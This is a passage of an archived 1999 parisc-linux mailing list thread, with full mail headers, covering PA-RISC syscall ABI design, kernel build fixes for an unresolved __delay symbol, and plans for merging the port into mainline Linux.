NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:36 +0000 (UTC)
Cc: lamont@security.hp.com, parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com
Original-X-From: huck@cup.hp.com  Mon Aug  2 10:50:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA03850
	for <parisc-linux@puffin.external.hp.com>; Mon, 2 Aug 1999 10:50:00 -0600
Original-Received: (qmail 26683 invoked by uid 15267); 2 Aug 1999 16:51:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26675 invoked from network); 2 Aug 1999 16:51:21 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 2 Aug 1999 16:51:21 -0000
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.77.158])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA03063;
	Mon, 2 Aug 1999 12:50:09 -0400 (EDT)
Original-Received: (from huck@localhost) by lucy.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA10088; Mon, 2 Aug 1999 09:50:39 -0700 (PDT)
In-Reply-To: <19990802082612.X25925@mencheca.ch.genedata.com> from Matthew Wilcox at Aug "2," 1999 "08:26:12" am
X-Mailer: ELM [$Revision: 1.17.214.3 $]
Xref: news.gmane.org gmane.linux.ports.parisc:9778

> Date: Mon, 2 Aug 1999 08:26:12 +0200
> From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
> To: LaMont Jones <lamont@security.hp.com>
> Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
>         parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] HPUX syscall ABI?

... To LaMont's reply Matthew writes:

> Yep, that's exactly what I need.  Urgh, so I have to grab the arguments
> off the user-mode stack before switching to the kernel-mode stack..

Just as an aside, you might want to use the gateway page to do some
fix-ups.  On the gateway page, you can delay the promotion, do some
argument shuffling and other glue code in the user's context, and then
finally gateway to priv 0 (and presumably to some kernel code).  You
could load up all the scratch registers with arguments and then have
the kernel-stack switch code push the arguments after the priv change.

I've always wanted HP-UX to use this type of approach to read as many
arguments (and memory data structures) as can fit in the scratch
region on both call and return.  You can avoid all the high overhead
kernel-user copy code.  Simple things, like "gettimeofday", could pop into
the kernel, get the return values, return to priv 3 near those gateway
pages, write the return values to memory, and return to the caller
without any kernel-user copies.

Jerry Huck
(PA-RISC architecture group)


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Matthaes <imatthae@grcbd508.grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unsatisfied symbols
Date: Tue, 3 Aug 1999 11:40:03 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <19990803114003.A5018@grcbd508.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619716 13151 80.91.229.3 (22 Nov 2014 01:28:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: imatthae@grcbd508.grc.hp.com  Tue Aug  3 03:39:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA05190
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Aug 1999 03:39:21 -0600
Original-Received: (qmail 29512 invoked by uid 15267); 3 Aug 1999 09:40:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29504 invoked from network); 3 Aug 1999 09:40:09 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 3 Aug 1999 09:40:09 -0000
Original-Received: from grcbd508.grc.hp.com (root@grcbd508.grc.hp.com [15.139.203.207])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id CAA10763
	for <parisc-linux@thepuffingroup.com>; Tue, 3 Aug 1999 02:40:06 -0700 (PDT)
Original-Received: (from imatthae@localhost)
	by grcbd508.grc.hp.com (8.9.3/8.9.3) id LAA05039
	for parisc-linux@thepuffingroup.com; Tue, 3 Aug 1999 11:40:03 +0200
Mail-Followup-To: parisc-linux@thepuffingroup.com
X-Mailer: Mutt 0.95.4i
Xref: news.gmane.org gmane.linux.ports.parisc:9779

Hi,

it is not possible to compile the latest CVS-Kernels. I tried 
various configurations, but I still get unsatisfied symbol __delay.
Is anybody out there, who compiles the actual sources succesfully ?
make menuconfig seems to be broken too (since 4 weeks)

  Ingo
-- 
Ingo Matthaes
HP-UX Net und Linux Support
HP Support Center Ratingen


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Steven A. DuChene" <sduchene@mindspring.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unsatisfied symbols
Date: Tue, 3 Aug 1999 09:43:08 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <19990803094308.G3443@sduchene.users.mindspring.com>
References: <19990803114003.A5018@grcbd508.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619717 13153 80.91.229.3 (22 Nov 2014 01:28:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sduchene@mindspring.com  Tue Aug  3 07:41:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA06040
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Aug 1999 07:41:17 -0600
Original-Received: (qmail 9153 invoked by uid 15267); 3 Aug 1999 13:42:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9141 invoked from network); 3 Aug 1999 13:42:21 -0000
Original-Received: from smtp4.mindspring.com (207.69.200.64)
  by mailserv2.iuinc.com with SMTP; 3 Aug 1999 13:42:21 -0000
Original-Received: from sduchene.users.mindspring.com (user-38ld40b.dialup.mindspring.com [209.86.144.11])
	by smtp4.mindspring.com (8.8.5/8.8.5) with ESMTP id JAA13996
	for <parisc-linux@thepuffingroup.com>; Tue, 3 Aug 1999 09:42:18 -0400 (EDT)
Original-Received: (from sad@localhost)
	by sduchene.users.mindspring.com (8.8.8/8.8.8) id JAA09892
	for parisc-linux@thepuffingroup.com; Tue, 3 Aug 1999 09:43:08 -0400
X-Mailer: Mutt 0.95.3i
In-Reply-To: <19990803114003.A5018@grcbd508.grc.hp.com>; from Ingo Matthaes on Tue, Aug 03, 1999 at 11:40:03AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9780

On Tue, Aug 03, 1999 at 11:40:03AM +0200, Ingo Matthaes wrote:
> it is not possible to compile the latest CVS-Kernels. I tried 
> various configurations, but I still get unsatisfied symbol __delay.
> Is anybody out there, who compiles the actual sources succesfully ?
> make menuconfig seems to be broken too (since 4 weeks)
> 

Ingo:
When you say make menuconfig seems to be broken, what exactly doesn't
work? As I understand the current method for compiling kernels takes
place using HP-UX with gcc. Does it also include ncurses or is the
group attempting to use the native HP-UX curses? If the later then
understand that HP-UX has at last count at least three or four
different curses libraries. Some of them are badly broken while others
are only semi broken. My advice is to get ncurses and use it instead
of the various native curses implementations.

If the make menuconfig problem isn't a problem with the curses
implementation on HP-UX I could be barking up the wrong tree here.
-- 
Steven A. DuChene   Linux Fan!  http://www.mindspring.com/~sduchene

Outside of a dog, a book is a man's best friend. Inside a dog it's
too dark to read.
                -- Groucho Marx


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unsatisfied symbols
Date: Tue, 3 Aug 1999 15:48:06 +0200
Lines: 5
Approved: news@gmane.org
Message-ID: <19990803154806.E11952@suse.de>
References: <19990803114003.A5018@grcbd508.grc.hp.com> <19990803094308.G3443@sduchene.users.mindspring.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619717 13155 80.91.229.3 (22 Nov 2014 01:28:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Steven A. DuChene" <sduchene@mindspring.com>
Original-X-From: prumpf@suse.de  Tue Aug  3 07:47:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA06322
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Aug 1999 07:47:15 -0600
Original-Received: (qmail 10734 invoked by uid 15267); 3 Aug 1999 13:48:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10724 invoked from network); 3 Aug 1999 13:48:13 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 3 Aug 1999 13:48:13 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 6FDEE32D05; Tue, 03 Aug 1999 15:48:10 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 4412A685B; Tue,  3 Aug 1999 15:48:10 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 780467F8B; Tue,  3 Aug 1999 15:48:06 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <19990803094308.G3443@sduchene.users.mindspring.com>; from Steven A. DuChene on Tue, Aug 03, 1999 at 09:43:08AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9781

> When you say make menuconfig seems to be broken, what exactly doesn't
> work? As I understand the current method for compiling kernels takes

our config.in was broken and Ingo sent a patch that corrected the problem.


From - Thu Nov 08 21:15:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel images
Date: Tue, 03 Aug 1999 11:16:05 -0400
Organization: The Puffin Group
Lines: 19
Approved: news@gmane.org
Message-ID: <37A707B5.6E7DF3DB@thepuffingroup.com>
References: <199908020159.VAA06171@mail.roava.net> <19990801234246.B25817@piguy.staticky.com> <19990802092030.Y25925@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619717 13157 80.91.229.3 (22 Nov 2014 01:28:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: adevries@thepuffingroup.com  Tue Aug  3 09:01:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA06740
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Aug 1999 09:01:52 -0600
Original-Received: (qmail 31478 invoked by uid 15267); 3 Aug 1999 15:02:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31456 invoked from network); 3 Aug 1999 15:02:56 -0000
Original-Received: from ppp-134.m2-2.ott.ican.net (HELO feather.thepuffingroup.com) (@142.154.216.134)
  by mailserv2.iuinc.com with SMTP; 3 Aug 1999 15:02:56 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id LAA01547;
	Tue, 3 Aug 1999 11:16:05 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9782

Matthew Wilcox wrote:
> 
> On Sun, Aug 01, 1999 at 11:42:46PM -0700, Matthew Trent wrote:
> > I'm in the same boat. I'd love to be able to cross compile the kernel, but I've
> > no HP-UX.
> 
> I think this is a service The Puffin Group will be providing as soon as
> their DSL turns up (was supposed to go in last Monday, so RSN.)
> 

Actually, I'm pretty up to date with building kernels.  I'll upload them
regularly now to ftp://puffin.external.hp.com/pub/binaries/kernels .

- Alex
-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unsatisfied symbols
Date: Wed, 4 Aug 1999 00:32:19 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <99080400504700.00269@P100>
References: <19990803114003.A5018@grcbd508.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619717 13160 80.91.229.3 (22 Nov 2014 01:28:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com,
        Ingo Matthaes <imatthae@grcbd508.grc.hp.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Tue Aug  3 16:49:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA10689
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Aug 1999 16:49:54 -0600
Original-Received: (qmail 3396 invoked by uid 15267); 3 Aug 1999 22:51:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3389 invoked from network); 3 Aug 1999 22:50:59 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 3 Aug 1999 22:50:59 -0000
Original-Received: (qmail 8336 invoked from network); 3 Aug 1999 22:50:53 -0000
Original-Received: from dialppp-7-57.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.7.57)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 3 Aug 1999 22:50:53 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9783

Am Tue, 03 Aug 1999 schrieb Ingo Matthaes:
> Hi,
> 
> it is not possible to compile the latest CVS-Kernels. I tried 
> various configurations, but I still get unsatisfied symbol __delay.
> Is anybody out there, who compiles the actual sources succesfully ?
> make menuconfig seems to be broken too (since 4 weeks)
> 
>   Ingo

Hi Ingo.

The unsatisfied symbol __delay was caused by the inclusion of pdc_cons.c by the
bootloader. I fixed it some minutes ago in the cvs.
The actual kernel from cvs compiles, links and boots (!!) now cleanly (I just
tried it), if you add the line  
extern pgd_t swapper_pg_dir[1024];
to the file pgtable.h. I didnt wanted to fix that, since I think, that Philipp
is actually working on that code....

NB: If you want faster screen-output, then remove the delay() in pdc_cons.c.

Ciao,
Helge.


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Matthaes <imatthae@grcbd508.grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unsatisfied symbols
Date: Wed, 4 Aug 1999 13:28:50 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <19990804132850.A17303@grcbd508.grc.hp.com>
References: <19990803114003.A5018@grcbd508.grc.hp.com> <99080400504700.00269@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619718 13164 80.91.229.3 (22 Nov 2014 01:28:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: imatthae@grcbd508.grc.hp.com  Wed Aug  4 05:27:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA12001
	for <parisc-linux@puffin.external.hp.com>; Wed, 4 Aug 1999 05:27:47 -0600
Original-Received: (qmail 10526 invoked by uid 15267); 4 Aug 1999 11:28:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10519 invoked from network); 4 Aug 1999 11:28:54 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 4 Aug 1999 11:28:54 -0000
Original-Received: from grcbd508.grc.hp.com (root@grcbd508.grc.hp.com [15.139.203.207])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id HAA17630
	for <parisc-linux@thepuffingroup.com>; Wed, 4 Aug 1999 07:28:21 -0400 (EDT)
Original-Received: (from imatthae@localhost)
	by grcbd508.grc.hp.com (8.9.3/8.9.3) id NAA17311
	for parisc-linux@thepuffingroup.com; Wed, 4 Aug 1999 13:28:50 +0200
Mail-Followup-To: parisc-linux@thepuffingroup.com
X-Mailer: Mutt 0.95.4i
In-Reply-To: <99080400504700.00269@P100>; from Helge Deller on Wed, Aug 04, 1999 at 12:32:19AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9784

> Hi Ingo.
> 
> The unsatisfied symbol __delay was caused by the inclusion of pdc_cons.c by the
> bootloader. I fixed it some minutes ago in the cvs.
> The actual kernel from cvs compiles, links and boots (!!) now cleanly (I just
> tried it), if you add the line  
> extern pgd_t swapper_pg_dir[1024];
> to the file pgtable.h. I didnt wanted to fix that, since I think, that Philipp

O.k. it works fine on my 715/33. I will try it on some 712 and, if available,
on a a-class



> is actually working on that code....
> 
> NB: If you want faster screen-output, then remove the delay() in pdc_cons.c.

Why should I remove that classic feeling :-)

  Ingo


-- 
Ingo Matthaes
HP-UX Net und Linux Support
HP Support Center Ratingen


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Pa-risc Linux timetables?
Date: Thu, 5 Aug 1999 15:54:09 +0300 (EETDST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.05.9908051545080.18930-100000@gamgee.ntc.nokia.com>
References: <19990804132850.A17303@grcbd508.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416619718 13167 80.91.229.3 (22 Nov 2014 01:28:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: martikka@stybba.ntc.nokia.com  Thu Aug  5 06:53:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA13604
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Aug 1999 06:53:17 -0600
Original-Received: (qmail 15643 invoked by uid 15267); 5 Aug 1999 12:54:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15630 invoked from network); 5 Aug 1999 12:54:22 -0000
Original-Received: from mgw-x2.nokia.com (131.228.20.22)
  by mailserv2.iuinc.com with SMTP; 5 Aug 1999 12:54:22 -0000
Original-Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x2.nokia.com (8.9.3/8.9.3) with ESMTP id PAA25790
	for <parisc-linux@thepuffingroup.com>; Thu, 5 Aug 1999 15:54:11 +0300 (EETDST)
Original-Received: from stybba.ntc.nokia.com (stybba.ntc.nokia.com [131.228.178.21])
	by mgw-i1.ntc.nokia.com (8.9.3/8.9.3) with ESMTP id PAA29375
	for <parisc-linux@thepuffingroup.com>; Thu, 5 Aug 1999 15:54:10 +0300 (EETDST)
Original-Received: from gamgee.ntc.nokia.com (martikka@gamgee [131.228.178.130])
	by stybba.ntc.nokia.com (8.9.1a/8.9.1/Goodi) with ESMTP id PAA10826
	for <parisc-linux@thepuffingroup.com>; Thu, 5 Aug 1999 15:54:10 +0300 (EET DST)
In-Reply-To: <19990804132850.A17303@grcbd508.grc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9785

Hi!

I just noticed that Linus is doing feature freeze for 2.4 in few weeks.
That raised couple of questions.

Do we have any estimate on parisc/linux timetables? When is the pa-risc
Linux going to be "released"? Do we target it to 2.5 or 2.6? 

We are now based on 2.2.1. How big effort would be required to merge
pa-risc linux (2.2.1) to 2.3/2.4?

- Goodi
"The linuX Files -- The Source is Out There."
,,`,,`,,`,,``,,


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pa-risc Linux timetables?
Date: Thu, 5 Aug 1999 15:32:48 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <19990805153248.S11586@mencheca.ch.genedata.com>
References: <19990804132850.A17303@grcbd508.grc.hp.com> <Pine.HPX.4.05.9908051545080.18930-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619718 13169 80.91.229.3 (22 Nov 2014 01:28:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: Matthew.Wilcox@genedata.com  Thu Aug  5 07:32:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA13891
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Aug 1999 07:32:04 -0600
Original-Received: (qmail 24447 invoked by uid 15267); 5 Aug 1999 13:32:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24435 invoked from network); 5 Aug 1999 13:32:59 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 5 Aug 1999 13:32:59 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id PAA14623;
	Thu, 5 Aug 1999 15:32:49 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id PAA713702;
	Thu, 5 Aug 1999 15:32:49 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11CNdZ-0002L3C@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for martikka@stybba.ntc.nokia.com; Thu, 5 Aug 1999 15:32:49 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.HPX.4.05.9908051545080.18930-100000@gamgee.ntc.nokia.com>; from Hannu Martikka on Thu, Aug 05, 1999 at 03:54:09PM +0300
Xref: news.gmane.org gmane.linux.ports.parisc:9786

On Thu, Aug 05, 1999 at 03:54:09PM +0300, Hannu Martikka wrote:
> Do we have any estimate on parisc/linux timetables? When is the pa-risc
> Linux going to be "released"? Do we target it to 2.5 or 2.6? 
> 
> We are now based on 2.2.1. How big effort would be required to merge
> pa-risc linux (2.2.1) to 2.3/2.4?

I believe we're aiming at having a 2.2 version ready for the end of the
year -- approximately the same time as Linus expects to have a 2.4 release
out.  Updating to 2.4 shouldn't be a big problem, and we don't have to be
ready for the release of 2.4.0 -- Linus merged alpha, sparc, ppc and mips
trees at several stages after 2.2.0 was released.  (Indeed, there is a
big mips merge in the 2.2.11 prepatches.)

Don't worry about 2.4 yet :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pa-risc Linux timetables?
Date: Thu, 05 Aug 1999 09:48:49 -0400
Organization: The Puffin Group
Lines: 25
Approved: news@gmane.org
Message-ID: <37A99641.EDD7A44@thepuffingroup.com>
References: <Pine.HPX.4.05.9908051545080.18930-100000@gamgee.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619719 13177 80.91.229.3 (22 Nov 2014 01:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hannu Martikka <martikka@stybba.ntc.nokia.com>
Original-X-From: adevries@thepuffingroup.com  Thu Aug  5 07:33:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA14046
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Aug 1999 07:33:50 -0600
Original-Received: (qmail 25012 invoked by uid 15267); 5 Aug 1999 13:34:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25003 invoked from network); 5 Aug 1999 13:34:58 -0000
Original-Received: from ppp-003.m4-1.ott.ican.net (HELO feather.thepuffingroup.com) (@142.154.216.3)
  by mailserv2.iuinc.com with SMTP; 5 Aug 1999 13:34:58 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id JAA03372;
	Thu, 5 Aug 1999 09:48:50 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9787

Hannu Martikka wrote:
> I just noticed that Linus is doing feature freeze for 2.4 in few weeks.
> That raised couple of questions.

I've talked to Linus about merging the changes into his mainstream
kernel tree, and he's agreed, but only once our kernel actually does
something.  I agree with this.

> Do we have any estimate on parisc/linux timetables? When is the pa-risc
> Linux going to be "released"? Do we target it to 2.5 or 2.6?

It's very difficult to suggest a timeline to a project that's done only
on volunteer time, so I don't think anyone's ready to commit to a
schedule.  

My feeling is we'll address the kernel merge once we have a kernel to
merge.  A LOT of the architecture ports had their own seperate tree for
many years.  MIPS, for instance, has only just merged.

- alex
-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pa-risc Linux timetables?
Date: Thu, 5 Aug 1999 15:48:55 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <19990805154855.A14140@suse.de>
References: <Pine.HPX.4.05.9908051545080.18930-100000@gamgee.ntc.nokia.com> <37A99641.EDD7A44@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619719 13180 80.91.229.3 (22 Nov 2014 01:28:39 GMT)
